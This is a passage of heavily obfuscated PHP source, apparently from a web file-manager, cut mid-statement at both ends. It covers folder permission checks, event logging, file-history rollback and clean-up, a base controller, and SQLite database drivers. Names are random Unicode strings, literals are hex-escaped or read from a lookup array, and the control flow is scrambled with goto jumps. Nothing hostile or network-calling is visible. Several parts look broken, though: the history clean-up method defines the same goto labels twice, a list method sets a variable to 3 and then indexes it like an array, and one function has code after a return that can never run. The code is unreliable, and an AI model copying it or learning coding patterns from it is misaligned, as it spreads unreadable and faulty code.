$this->field($b݇ӳ)->where($c㌿)->select(); $f = array_to_keyvalue_group($f, $fԊ[366]); goto Ȇ°; Ȇ°: $e˰ = array(); foreach ($Dߪǯ as $A => $Aܐ) { $e˰[$A] = $this->makeSourceAuth($Aܐ, $f); } return $e˰; goto c̲؂; e: $Fؘ = array_values(array_unique($Fؘ)); if (!$Fؘ) { return array(); } $b݇ӳ = $fԊ[2230]; goto c; a꩝: if (!$Dߪǯ) { $c㌿ = array($fԊ[380] => array($fԊ[381], $e)); $Dߪǯ = $cә->field($fԊ[2229])->where($c㌿)->select(); $Dߪǯ = array_to_keyvalue($Dߪǯ, $fԊ[366]); } $Fؘ = $e; foreach ($Dߪǯ as $bƟ => $DջÒ) { $aNJ̑ = $cә->parentLevelArray($DջÒ[$fԊ[455]]); $Fؘ = array_merge($Fؘ, $aNJ̑, array($bƟ)); } goto e; c̲؂: } public function authDeepCheck($D䇳, $a¤ = false) { $E‚次 =& $_SERVER[ѽ]; if (_get($GLOBALS, $E‚次[453])) { return !1; } $B = $this->makeAuthDeep(); if (!in_array($D䇳, $B)) { return !1; } return array($E‚次[374] => -1, $E‚次[414] => array($E‚次[382] => $E‚次[1035], $E‚次[2086] => $E‚次[464], $E‚次[383] => LNG($E‚次[2231]), $E‚次[2098] => $E‚次[2232])); } protected function makeAuthDeep() { goto D볠; b߯: $e訶 = array_values(array_unique($e訶)); $BĬ = $e訶; foreach ($BĬ as $D߇) { $BʌѠ = $eĆ->getInfo($D߇); $F仾䗄 = $C۩->parentLevelArray($BʌѠ[$A񄲿[455]]); $e訶 = array_merge($e訶, $F仾䗄); } goto Eʧ; FҲ: $Eܧ = Model($A񄲿[2233])->listData(); $CԬ = array(); foreach ($Eܧ as $bІ) { if ($bІ[$A񄲿[373]] == 0 && $bІ[$A񄲿[2100]] == $A񄲿[83]) { $CԬ[] = $bІ[$A񄲿[364]]; } } goto ađ; Eʧ: $e訶 = array_values(array_unique($e訶)); foreach ($e訶 as $D߇) { $BʌѠ = $eĆ->getInfo($D߇); $eħ[] = $BʌѠ[$A񄲿[388]][$A񄲿[366]]; } $eħ = array_values(array_unique($eħ)); goto e; e: return $eħ; goto e熾; ađ: $d = Session::get($A񄲿[2192]); $d = array_to_keyvalue($d, $A񄲿[33], $A񄲿[2080]); $fݥۆ = array($A񄲿[368] => SourceModel::TYPE_USER, $A񄲿[452] => USER_ID); goto dδ; f綌Ű: $Cֺڴ = array_to_keyvalue($f̷, $A񄲿[33], $A񄲿[366]); $eħ = array(); $e訶 = $d; goto aﴪ; aﴪ: $C۩ = Model($A񄲿[1114]); $eĆ = Model($A񄲿[454]); if ($Cֺڴ) { $eӄ = $C۩->where(array($A񄲿[366] => array($A񄲿[381], $Cֺڴ)))->select(); foreach ($eӄ as $c) { $F仾䗄 = $C۩->parentLevelArray($c[$A񄲿[455]]); $eħ = array_merge($eħ, $F仾䗄); $e訶[] = $c[$A񄲿[452]]; } } goto b߯; D볠: $A񄲿 =& $_SERVER[ѽ]; static $eħ = false; if ($eħ) { return $eħ; } goto FҲ; dδ: if ($d) { $fݥۆ = array(array($A񄲿[368] => SourceModel::TYPE_USER, $A񄲿[452] => USER_ID), array($A񄲿[368] => SourceModel::TYPE_GROUP, $A񄲿[452] => array($A񄲿[381], $d)), $A񄲿[920] => $A񄲿[2160]); } if ($CԬ) { $fݥۆ = array($fݥۆ, $A񄲿[2208] => array($A񄲿[2234], $CԬ)); } $f̷ = $this->field($A񄲿[2235])->where($fݥۆ)->select(); goto f綌Ű; e熾: } private function makeSourceAuth($e׼, $f) { goto F鵬; F鵬: $cӥ嗳 =& $_SERVER[ѽ]; $cIJ = Session::get($cӥ嗳[2192]); $dܝܶ = Model($cӥ嗳[1114])->parentLevelArray($e׼[$cӥ嗳[455]]); goto Bꄣ; Bꄣ: $dܝܶ = array_merge(array($e׼[$cӥ嗳[366]]), array_reverse($dܝܶ)); $cí = !1; foreach ($dܝܶ as $fш) { if (!isset($f[$fш])) { continue; } $AΕ = $this->authMake($f[$fш]); if ($AΕ[$cӥ嗳[414]]) { $cí = $AΕ; break; } } goto cݗ; cݗ: if (!$cí) { $cIJ = array_to_keyvalue($cIJ, $cӥ嗳[2080]); $ađ֑߰ = $e׼[$cӥ嗳[452]]; $d = isset($cIJ[$ađ֑߰]) ? $cIJ[$ađ֑߰] : !1; if ($d) { $cí = array($cӥ嗳[2236] => intval($d[$cӥ嗳[373]][$cӥ嗳[373]]), $cӥ嗳[2237] => $d[$cӥ嗳[373]]); } } if ((!$cí || $cí[$cӥ嗳[374]] <= 0) && $e׼[$cӥ嗳[368]] == SourceModel::TYPE_GROUP) { $C = $this->authDeepCheck($e׼[$cӥ嗳[366]], $cí); if ($C) { $cí = $C; } } return $cí; goto B̯; B̯: } public function authOwnerApply($d) { goto d; dȎ: $d[$Eƈ[373]][$Eƈ[2240]] = Model($Eƈ[470])->userListInfo($d); return $d; goto Eͅܗ; d: $Eƈ =& $_SERVER[ѽ]; if (empty($d[$Eƈ[373]]) || isset($d[$Eƈ[2238]]) && $d[$Eƈ[2238]]) { return $d; } if (AuthModel::authCheckRoot($d[$Eƈ[373]][$Eƈ[374]])) { return $d; } goto fϮ٘; B: if (count($d) == 0) { $d = $this->authFolderOwnerGroup($d[$Eƈ[452]]); } $d = array_unique($d); if (AuthModel::authCheckRoot($d[$Eƈ[373]][$Eƈ[374]])) { $d[] = USER_ID; } goto dȎ; fϮ٘: $eޝ = Model($Eƈ[1114])->parentLevelArray($d[$Eƈ[455]]); $eޝ = array_merge(array($d[$Eƈ[366]]), array_reverse($eޝ)); $A = $Eƈ[2230]; goto Aɉ; Aɉ: $dΏ = array($Eƈ[380] => array($Eƈ[381], $eޝ)); $Aң = $this->field($A)->where($dΏ)->select(); $Aң = array_to_keyvalue_group($Aң, $Eƈ[366]); goto AҜ; AҜ: $e黉 = array(); $d = array(); foreach ($Aң as $cÔȦЫ => $dЎڿ) { $Eٯ = $this->authFolderOwnerUser($dЎڿ); $e黉[$cÔȦЫ] = $Eٯ; $d = array_merge($d, $Eٯ[$Eƈ[531]]); if ($Eٯ[$Eƈ[2239]]) { break; } } goto B; Eͅܗ: } private function authFolderOwnerGroup($D޶憗) { $bڏ =& $_SERVER[ѽ]; $F = Model($bڏ[2154])->where(array($bڏ[2080] => $D޶憗))->select(); $b = array(); if (!$F) { return $b; } foreach ($F as $D) { $aΌ = $this->authInfo($D); if (AuthModel::authCheckRoot($aΌ[$bڏ[373]])) { $b[] = $D[$bڏ[1417]]; } } return $b; } private function authFolderOwnerUser($dʢ) { $f㱩 =& $_SERVER[ѽ]; $C = array(); $Bܸ = !1; foreach ($dʢ as $E͈ʙ) { $Cɏ = $this->authInfo($E͈ʙ); if ($E͈ʙ[$f㱩[452]] == $f㱩[464]) { $Bܸ = !0; } if ($E͈ʙ[$f㱩[368]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($Cɏ[$f㱩[373]])) { $C[] = $E͈ʙ[$f㱩[452]]; } } } return array($f㱩[531] => $C, $f㱩[2239] => $Bܸ); } public function authMake($A߮) { goto C펒; D̴: $eݗ = $a܅ ? $fաܗ : ($bnjʆ ? $e鍟 : $c҇); $aÈٹ = array($E٩[2236] => intval($c蘃ڝ), $E٩[2237] => $eݗ); return $aÈٹ; goto eא; aݨ: $A٤ = 0; foreach ($A߮ as $A) { $eݗ = $this->authInfo($A); $d = $A[$E٩[452]]; $b󭚭 = intval($eݗ[$E٩[373]]); if ($A[$E٩[368]] == SourceModel::TYPE_USER && $d == USER_ID) { $a܅ = !0; $fաܗ = $eݗ; $dħ = $b󭚭; } else { if ($A[$E٩[368]] == SourceModel::TYPE_GROUP && in_array($d, $F갴)) { $bnjʆ = !0; if ($b󭚭 >= $bɴ) { $bɴ = $b󭚭; $e鍟 = $eݗ; } } else { if ($d == $E٩[464]) { $A٤ = !0; $c҇ = $eݗ; $B = $b󭚭; } } } } $c蘃ڝ = $a܅ ? $dħ : ($bnjʆ ? $bɴ : $B); goto D̴; b: $B = 0; $fաܗ = 0; $e鍟 = 0; goto cږ; C펒: $E٩ =& $_SERVER[ѽ]; if (!$A߮) { return array($E٩[374] => 0, $E٩[414] => !1); } $dܡ = Session::get($E٩[2192]); goto bԛ; cږ: $c҇ = 0; $a܅ = 0; $bnjʆ = 0; goto aݨ; bԛ: $F갴 = array_to_keyvalue($dܡ, $E٩[33], $E٩[2080]); $dħ = 0; $bɴ = 0; goto b; eא: } public function authTargetInfoMake($eݛ) { goto E΄; f: foreach ($eݛ as $aބ) { if ($aބ[$Dظ[368]] == SourceModel::TYPE_USER) { $f̖[] = intval($aބ[$Dظ[452]]); } else { if ($aބ[$Dظ[368]] == SourceModel::TYPE_GROUP) { $Eó[] = intval($aބ[$Dظ[452]]); } } } if ($f̖) { $f̖ = Model($Dظ[470])->userListInfo($f̖); } if ($Eó) { $B = array($Dظ[2152] => array($Dظ[381], $Eó)); $Eó = Model($Dظ[454])->field($Dظ[2165])->where($B)->select(); $Eó = array_to_keyvalue($Eó, $Dظ[2080]); } goto C; C: return array($Dظ[2241] => $f̖, $Dظ[2242] => $Eó); goto d; E΄: $Dظ =& $_SERVER[ѽ]; $f̖ = array(); $Eó = array(); goto f; d: } private function authInfo($c) { $A =& $_SERVER[ѽ]; if ($c[$A[2208]]) { $eŵ = Model($A[2227])->listData($c[$A[2208]]); if (!$eŵ) { return !1; $D҂ = Model($A[2227])->listData(); $fٱӾ = array_filter_by_field($D҂, $A[373], $A[464]); return $fٱӾ; } $c = array_field_key($eŵ, array($A[364], $A[28], $A[373], $A[2098], $A[2101])); $c[$A[2243]] = $c; return $c; } else { return array($A[382] => 0, $A[2086] => $c[$A[2209]], $A[383] => $A[33], $A[2098] => $A[2244]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\157\165\x72\143\145\137\x65\x76\x65\x6e\164"; protected $dataAuto = array(array("\143\162\145\141\164\x65\124\x69\x6d\x65", "\x74\x69\155\x65", "\x69\x6e\163\x65\162\164", "\146\165\156\x63\x74\151\157\x6e"), array("\144\145\x73\143", '', "\151\x6e\x73\145\x72\x74\54\x75\x70\x64\141\x74\145\54\x73\x65\x6c\145\143\164", "\152\x73\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($C, $Eͥ, $Fӂ = '') { goto c֍Ѵ; d: $CՓ = array($b[380] => $C, $b[2245] => $c☌ڐ[$b[457]], $b[2246] => $c☌ڐ[$b[28]], $b[462] => $c☌ڐ[$b[462]], $b[1408] => USER_ID, $b[385] => $Eͥ, $b[1410] => $Fӂ); $this->addSystemLog($Eͥ, $CՓ); return $this->add($CՓ); goto f; BƂ͌: if (!$c☌ڐ) { return !1; } if ($this->isCacheEvent($c☌ڐ, $Eͥ)) { return; } if ($Fӂ && is_string($Fӂ)) { $Fӂ = array($b[2110] => $Fӂ); } goto d; c֍Ѵ: $b =& $_SERVER[ѽ]; if (!$this->eventSave) { return; } $c☌ڐ = Model($b[1114])->sourceInfo($C); goto BƂ͌; f: } private function addSystemLog($aٳʦ, $Eă) { $cӒ =& $_SERVER[ѽ]; if ($aٳʦ == $cӒ[2247]) { $aٳʦ = $Eă[$cӒ[401]][$cӒ[2248]]; } else { if (in_array($aٳʦ, array($cӒ[2057], $cӒ[2249]))) { $aٳʦ = $Eă[$cӒ[401]][$cӒ[702]]; } } $EÓ = array_merge($Eă, array($cӒ[2250] => $Eă[$cӒ[366]], $cӒ[2251] => $Eă[$cӒ[2251]])); Model($cӒ[2021])->addLog($cӒ[2252] . $aٳʦ, $EÓ); } private function isCacheEvent($e녉, $d) { if ($e녉[$_SERVER[ѽ][368]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($DҞ, $A̎ª) { $E =& $_SERVER[ѽ]; $b = Model($E[1114])->sourceInfo($DҞ); $CԈ = array($E[2248] => $A̎ª, $E[28] => $b[$E[28]]); return $this->addEvent($DҞ, $E[2247], $CԈ); } public function eventFileEdit($D֒އ) { $f =& $_SERVER[ѽ]; $B = array($f[2253] => $_SERVER[$f[2254]], $f[1727] => strtolower(ACTION)); return $this->addEvent($D֒އ, $f[2048], $B); } public function eventRecycle($D, $Fڹ) { return $this->addEvent($D, $_SERVER[ѽ][2249], $Fڹ); } public function eventRemove($E) { $eԯ =& $_SERVER[ѽ]; $D· = Model($eԯ[1114])->sourceInfo($E); $Cز̾ = $D·[$eԯ[28]]; return $this->addEvent($D·[$eԯ[457]], $eԯ[2047], $Cز̾); } public function eventShare($f族, $E̼) { return $this->addEvent($f族, $_SERVER[ѽ][2057], $E̼); } public function eventMove($f, $B橮, $E󊨌) { goto DԆ; Dޔ: $this->addEvent($B橮, $Fꊊ[2259], $Cԝ); goto c۹ݰ; dࣈԮ: $this->addEvent($f, $Fꊊ[488], $Cԝ); $Fغͫ = $Aظ->sourceInfo($f); $Cԝ = array($Fꊊ[366] => $Fغͫ[$Fꊊ[366]], $Fꊊ[28] => $Fغͫ[$Fꊊ[28]]); goto Dޔ; dދ͗: $F = $Aظ->sourceInfo($B橮); $C = $Aظ->sourceInfo($E󊨌); $Cԝ = array($Fꊊ[1010] => $B橮, $Fꊊ[2255] => $F[$Fꊊ[28]], $Fꊊ[2256] => $F[$Fꊊ[462]], $Fꊊ[1011] => $E󊨌, $Fꊊ[2257] => $C[$Fꊊ[28]], $Fꊊ[2258] => $C[$Fꊊ[462]]); goto dࣈԮ; DԆ: $Fꊊ =& $_SERVER[ѽ]; $Aظ = Model($Fꊊ[1114]); $Fغͫ = $Aظ->sourceInfo($f); goto dދ͗; c۹ݰ: } public function eventCopy($C͉) { $this->eventCreate($C͉, $_SERVER[ѽ][486]); } public function eventRename($d͟, $fҠ, $Cװ) { $BϨ߻ =& $_SERVER[ѽ]; $Eɳ = array($BϨ߻[1010] => $fҠ, $BϨ߻[1011] => $Cװ); return $this->addEvent($d͟, $BϨ߻[1126], $Eɳ); } public function eventAddComment($Eҏꌪ, $cҐ) { return $this->addEvent($Eҏꌪ, $_SERVER[ѽ][2260], $cҐ); } public function eventAddDesc($B럽Ƭ, $c) { return $this->addEvent($B럽Ƭ, $_SERVER[ѽ][2261], $c); } public function listBySource($bʂ) { goto aݑ; aܘ: if ($fҙћ՞[$A޹[367]] == $A޹[83]) { $b = Model($A޹[1114])->listSearchChildren($bʂ, 20000); $b[] = $bʂ . $A޹[358]; $Eʼn = array($A޹[366] => array($A޹[7], $b)); } $c = $this->where($Eʼn)->order($A޹[2262])->selectPage(); if ($c[$A޹[348]][$A޹[349]] == 0) { $c[$A޹[348]][$A޹[349]] = 1; $c[$A޹[351]] = array(array($A޹[380] => $bʂ, $A޹[2245] => $fҙћ՞[$A޹[457]], $A޹[1408] => $fҙћ՞[$A޹[375]], $A޹[385] => $A޹[2263], $A޹[386] => $fҙћ՞[$A޹[184]], $A޹[1410] => $A޹[33])); } goto D皇; aݑ: $A޹ =& $_SERVER[ѽ]; $fҙћ՞ = Model($A޹[1114])->sourceInfo($bʂ); $Eʼn = array($A޹[380] => $bʂ); goto aܘ; D皇: $c = $this->eventListParse($c, $bʂ); show_json($c); goto A狳Ž; A狳Ž: } private function eventListParse($dž, $b) { goto C; DӤ: return $dž; goto C񟃢; C: $f =& $_SERVER[ѽ]; $Dĥ = $dž[$f[351]]; $F⹔ = array_to_keyvalue($Dĥ, $f[33], $f[366]); goto A; F塾: $F⹔ = array_unique($F⹔); $Eӕᬃ = array_unique(array_to_keyvalue($Dĥ, $f[33], $f[1417])); $Blj = Model($f[473])->userListInfo($Eӕᬃ); goto cĔߪ; cĔߪ: $f = Model($f[762])->sourceListInfo($F⹔, !0); foreach ($Dĥ as &$a) { if ($a[$f[29]] == $f[488] && isset($a[$f[401]][$f[1010]])) { $a[$f[401]][$f[1010]] = $f[$a[$f[401]][$f[1010]]]; $a[$f[401]][$f[1011]] = $f[$a[$f[401]][$f[1011]]]; } if ($a[$f[29]] == $f[2259] && isset($a[$f[401]][$f[366]])) { $a[$f[401]][$f[366]] = $f[$a[$f[401]][$f[366]]]; } $a[$f[388]] = $f[$a[$f[366]]]; $a[$f[2264]] = $f[$a[$f[2251]]]; if ($a[$f[29]] == $f[2047]) { $a[$f[2264]] = $a[$f[388]]; $a[$f[2251]] = $a[$f[2264]][$f[366]]; $a[$f[388]] = !1; $a[$f[366]] = $f[33]; } $a[$f[2217]] = $Blj[$a[$f[1417]]]; } $dž[$f[351]] = $Dĥ; goto DӤ; A: $cÄЌ = array_to_keyvalue($Dĥ, $f[33], $f[2251]); foreach ($Dĥ as $a) { $B౎ = $a[$f[401]]; if ($a[$f[29]] == $f[488] && isset($B౎[$f[1010]])) { $F⹔[] = $B౎[$f[1010]] . $f[33]; $F⹔[] = $B౎[$f[1011]] . $f[33]; } if ($a[$f[29]] == $f[2259] && isset($B౎[$f[366]])) { $F⹔[] = $B౎[$f[366]] . $f[33]; } } $F⹔ = array_merge($F⹔, $cÄЌ, array($b . $f[33])); goto F塾; C񟃢: } public function removeBySource($B) { $dɯ = array($_SERVER[ѽ][380] => $B); $this->where($dɯ)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\151\x6f\137\163\x6f\x75\x72\143\145\137\x68\x69\163\x74\x6f\162\x79"; public function addHistory($D, $Aڎʊ = '') { $fܑ =& $_SERVER[ѽ]; $b = array($fܑ[380] => $D[$fܑ[366]], $fܑ[1408] => isset($D[$fܑ[376]]) ? $D[$fܑ[376]] : $D[$fܑ[375]], $fܑ[416] => $D[$fܑ[415]], $fܑ[516] => $D[$fܑ[77]], $fܑ[2265] => $Aڎʊ); $e = $GLOBALS[$fܑ[6]][$fܑ[84]][$fܑ[2266]]; if ($e > 1) { $this->historyAutoClear($b[$fܑ[366]]); $this->add($b); } Model($fܑ[2267])->eventFileEdit($D[$fܑ[366]]); } private function historyAutoClear($B҄) { goto d; d: $B =& $_SERVER[ѽ]; $cŋ = Model($B[1092])->get($B[2268]); $E͑ = $GLOBALS[$B[6]][$B[84]][$B[2266]]; goto C¤; D͗: $eۘ = array_to_keyvalue($A, $B[33], $B[415]); $eۘ = array_slice($eۘ, $FϦ); if (!$C݈ || !$eۘ) { return; } goto A; A: if ($FϦ >= 500) { return; } $d = array($B[380] => $B҄); $A = $this->field($B[2270])->where($d)->order($B[2262])->select(); goto a; a: if (!$A || $FϦ >= count($A)) { return; } $C݈ = array_to_keyvalue($A, $B[33], $B[364]); $C݈ = array_slice($C݈, $FϦ); goto D͗; A: $d = array($B[382] => array($B[7], $C݈)); $this->where($d)->delete(); Model($B[418])->remove($eۘ); goto d; C¤: $e儤ڳ = $cŋ == $B[2269] ? 3 : $E͑; if ($E͑ <= 1) { $e儤ڳ = 1; } $FϦ = $e儤ڳ - 1; goto A; d: } public function listData($cȃ) { goto F; f늧֖: $a = 3; if ($dՄ == $a[2269]) { $Fܻ[$a[351]] = array_slice($Fܻ[$a[351]], 0, $a); $Fܻ[$a[348]] = array($a[2272] => 1, $a[2273] => 20, $a[2274] => 1, $a[2275] => count($Fܻ[$a[351]])); } return $Fܻ; goto BՃ; F: $a =& $_SERVER[ѽ]; $A񗟑 = array($a[380] => $cȃ); $e = $a[2271]; goto eۃ; eۃ: $Fܻ = $this->field($e)->where($A񗟑)->order($a[2262])->selectPage(); $this->_listAppendUser($Fܻ[$a[351]]); $dՄ = Model($a[1092])->get($a[2268]); goto f늧֖; BՃ: } protected function _listAppendUser(&$cش) { $B̃ =& $_SERVER[ѽ]; $aӂ = array_to_keyvalue($cش, $B̃[33], $B̃[1417]); $Aê = Model($B̃[473])->userListInfo($aӂ); foreach ($cش as &$a”ʥ) { $B洃ͤ = $a”ʥ[$B̃[1417]]; $a”ʥ[$B̃[375]] = $Aê[$B洃ͤ] ? $Aê[$B洃ͤ] : !1; } } public function fileInfo($aѩ) { $a =& $_SERVER[ѽ]; $a = $this->tablePrefix; $E̅ = "{$a}\151\x6f\x5f\146\151\x6c\145\x20\x66\x69\154\x65\163\x20\x6f\x6e\40\x66\x69\154\x65\163\x2e\146\151\154\x65\111\x44\40\x3d\40\150\151\163\x74\157\162\171\56\146\151\154\145\111\104"; return $this->alias($a[2276])->where(array($a[382] => $aѩ))->join($E̅, $a[2277])->find(); } public function removeItem($ĉ) { $Aј =& $_SERVER[ѽ]; $e뺆 = array($Aј[382] => $ĉ); $Cٸ = $this->where($e뺆)->find(); if ($Cٸ) { $B = $this->where($e뺆)->delete(); Model($Aј[418])->remove($Cٸ[$Aј[415]]); return $B; } return !1; } public function removeBySource($c) { goto d吵; A: $Eߘ = array($b[380] => array($b[7], $c)); $DМlj = $this->field($b[416])->where($Eߘ)->select(); if ($DМlj) { $this->where($Eߘ)->delete(); $bꐏ = array_to_keyvalue($DМlj, $b[33], $b[415]); Model($b[418])->remove($bꐏ); } goto e׵԰; d吵: $b =& $_SERVER[ѽ]; if (!$c) { return !1; } if (!is_array($c)) { $c = array($c); } goto A; e׵԰: return !0; goto a; a: } public function setDetail($A쭒, $bΘ) { $Eݽ =& $_SERVER[ѽ]; return $this->where(array($Eݽ[382] => $A쭒))->save(array($Eݽ[2265] => $bΘ)); } public function rollbackToItem($AƆ, $A򅱸޲) { goto d踏; cڑ: $E͓ = $this->find($A򅱸޲); $CБ = array($c[415] => $E͓[$c[415]], $c[77] => $E͓[$c[77]], $c[107] => time(), $c[376] => USER_ID); Model($c[762])->where(array($c[366] => $AƆ))->save($CБ); goto aҘؕ; aҘؕ: return $this->where(array($c[382] => $A򅱸޲))->delete(); goto f᷺; d踏: $c =& $_SERVER[ѽ]; $Bι = Model($c[762])->sourceInfo($AƆ); $this->addHistory($Bι); goto cڑ; f᷺: } public function clearSame($d) { goto EȤ; EȤ: $c =& $_SERVER[ѽ]; $b暺 = $this->listData($d); $Dޏԥ = array_to_keyvalue_group($b暺, $c[415]); goto BȍŢ; BȍŢ: $DÑ = array(); $dũ = array(); foreach ($Dޏԥ as $f܇Ⱥ) { if (!$f܇Ⱥ || count($f܇Ⱥ) <= 1) { continue; } foreach ($f܇Ⱥ as $fˎ) { $DÑ[] = $fˎ[$c[415]]; $dũ[] = $fˎ[$c[364]]; } } goto bƟ; bƟ: if (!$dũ) { return; } $this->where(array($c[364] => array($c[7], $dũ)))->delete(); Model($c[418])->remove($DÑ); goto B蟫; B蟫: } public function userSpace() { $fڮ =& $_SERVER[ѽ]; $E = $this->tablePrefix; $c = array($fڮ[1408] => USER_ID); $E躘 = "{$E}\151\157\x5f\x66\x69\x6c\x65\x20\x66\x69\154\x65\163\40\157\156\x20\x66\x69\x6c\145\x73\x2e\x66\x69\x6c\145\x49\x44\40\75\40\150\151\163\x74\157\162\x79\x2e\x66\x69\x6c\x65\x49\x44"; return $this->alias($fڮ[2276])->where($c)->join($E躘, $fڮ[2277])->sum($fڮ[77]); } } goto fĶ; A݊: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { goto A; A: $d݄ =& $_SERVER[ѽ]; global $in, $config; $this->config =& $config; goto D; D: $this->in =& $in; $this->values[$d݄[6]] =& $config; $this->values[$d݄[7]] =& $in; goto Bˆ; Bˆ: $this->tpl = TEMPLATE . MOD . $d݄[8]; $this->_classObjectID = mt_rand(0, 10000); goto c刾; c刾: } public function loadClass($b) { if (1 === func_num_args()) { $this->{$b} = new $b(); } else { $fɬ = new ReflectionClass($b); $C㩆ˢ = func_get_args(); array_shift($C㩆ˢ); $this->{$b} = $fɬ->newInstanceArgs($C㩆ˢ); } return $this->{$b}; } protected function assign($f, $bߚ) { $this->values[$f] = $bߚ; } protected function display($eć≈) { ob_end_clean(); extract($this->values); require $this->tpl . $eć≈; } } class DbSqliteBase extends Db { public function __construct($Cðٜ = '') { $Aֳ =& $_SERVER[ѽ]; if (!extension_loaded($Aֳ[9])) { think_exception(think_lang($Aֳ[10]) . $Aֳ[11]); } if (!empty($Cðٜ)) { if (!isset($Cðٜ[$Aֳ[12]])) { $Cðٜ[$Aֳ[12]] = 438; } $this->config = $Cðٜ; if (empty($this->config[$Aֳ[13]])) { $this->config[$Aֳ[13]] = array(); } } } public function connect($d׌ = '', $Eȸ = 0) { $eì =& $_SERVER[ѽ]; if (!isset($this->linkID[$Eȸ])) { goto bŮ; eг: @sqlite_busy_timeout($this->linkID[$Eȸ], 30000); if (1 != think_config($eì[18])) { unset($this->config); } goto B; bŮ: if (empty($d׌)) { $d׌ = $this->config; } $c = !empty($d׌[$eì[13]][$eì[14]]) ? $d׌[$eì[13]][$eì[14]] : $this->pconnect; $f䅒 = $c ? $eì[15] : $eì[16]; goto D; D: $this->linkID[$Eȸ] = $f䅒($d׌[$eì[17]], $d׌[$eì[12]]); if (!$this->linkID[$Eȸ]) { think_exception(sqlite_error_string()); } $this->connected = !0; goto eг; B: } return $this->linkID[$Eȸ]; } public function free() { $this->queryID = null; } public function query($EǺ͘ʲ) { goto F; F: $eޞ =& $_SERVER[ѽ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto cŝ; Bސ: if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $b㴬 = $this->getAll(); return $b㴬; } goto E; cŝ: $this->queryStr = $EǺ͘ʲ; if ($this->queryID) { $this->free(); } think_action_status($eޞ[19], 1); goto Cȓ; Cȓ: think_status($eޞ[20]); $this->queryID = sqlite_query($this->_linkID, $EǺ͘ʲ); $this->debug(); goto Bސ; E: } public function execute($e) { goto D; F: $this->queryStr = $e; if ($this->queryID) { $this->free(); } think_action_status($A͊[21], 1); goto dſ; f׽ʹ: if (!1 === $b嗷) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } goto aΡޝ; dſ: think_status($A͊[20]); $b嗷 = sqlite_exec($this->_linkID, $e); $this->debug(); goto f׽ʹ; D: $A͊ =& $_SERVER[ѽ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto F; aΡޝ: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ѽ][22]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $FÝ = sqlite_query($this->_linkID, $_SERVER[ѽ][23]); if (!$FÝ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $cɩ = sqlite_query($this->_linkID, $_SERVER[ѽ][24]); if (!$cɩ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $E噲֖ = array(); if ($this->numRows > 0) { for ($c² = 0; $c² < $this->numRows; $c²++) { $E噲֖[$c²] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $E噲֖; } public function getFields($f) { $E͗ =& $_SERVER[ѽ]; $D丼 = $this->query($E͗[25] . $f . $E͗[26]); $a = array(); if ($D丼) { foreach ($D丼 as $c铨 => $d) { $a[$d[$E͗[27]]] = array($E͗[28] => $d[$E͗[27]], $E͗[29] => $d[$E͗[30]], $E͗[31] => (bool) ($d[$E͗[32]] === $E͗[33]), $E͗[34] => $d[$E͗[35]], $E͗[36] => strtolower($d[$E͗[37]]) == $E͗[38], $E͗[39] => strtolower($d[$E͗[40]]) == $E͗[41]); } } return $a; } public function getTables($D = '') { $c =& $_SERVER[ѽ]; $f؂鑱 = $this->query($c[42] . $c[43] . $c[44]); $a = array(); foreach ($f؂鑱 as $AɃ => $cĠ) { $a[$AɃ] = current($cĠ); } return $a; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $F̊ =& $_SERVER[ѽ]; $dՄ = sqlite_last_error($this->_linkID); $this->error = $dՄ . $F̊[4] . sqlite_error_string($dՄ); if ($F̊[33] != $this->queryStr) { $this->error .= LNG($F̊[45]) . $this->queryStr; } think_trace($this->error, $F̊[33], $F̊[46]); return $this->error; } public function escapeString($a) { return sqlite_escape_string($a); } public function parseLimit($eӝݣ) { $cÿ =& $_SERVER[ѽ]; $c褐 = $cÿ[33]; if (!empty($eӝݣ)) { $eӝݣ = explode($cÿ[47], $eӝݣ); if (count($eӝݣ) > 1) { $c褐 .= $cÿ[48] . $eӝݣ[1] . $cÿ[49] . $eӝݣ[0] . $cÿ[50]; } else { $c褐 .= $cÿ[48] . $eӝݣ[0] . $cÿ[50]; } } return $c褐; } } class DbSqlite3Base extends Db { public function __construct($D˥ = '') { $b磢 =& $_SERVER[ѽ]; if (!class_exists($b磢[51])) { think_exception(think_lang($b磢[10]) . $b磢[52]); } if (!empty($D˥)) { if (!isset($D˥[$b磢[12]])) { $D˥[$b磢[12]] = 438; } $this->config = $D˥; if (empty($this->config[$b磢[13]])) { $this->config[$b磢[13]] = array(); } } } public function connect($fפ = '', $b = 0) { $Fղ =& $_SERVER[ѽ]; if (!isset($this->linkID[$b])) { if (empty($fפ)) { $fפ = $this->config; } $this->linkID[$b] = new SQLite3($fפ[$Fղ[17]]); if (!$this->linkID[$b]) { think_exception($this->linkID[$b]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$b]->busyTimeout(30000); if (1 != think_config($Fղ[18])) { unset($this->config); } } return $this->linkID[$b]; } public function free() { $this->queryID = null; } public function query($cʺ) { goto c; b៓: $this->queryStr = $cʺ; if ($this->queryID) { $this->free(); } think_action_status($Bˍ[19], 1); goto D; D: think_status($Bˍ[20]); $this->queryID = $this->_linkID->query($cʺ); $this->debug(); goto Eܴ; c: $Bˍ =& $_SERVER[ѽ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto b៓; Eܴ: if (!1 === $this->queryID) { $this->error(); return !1; } else { $bΎ = 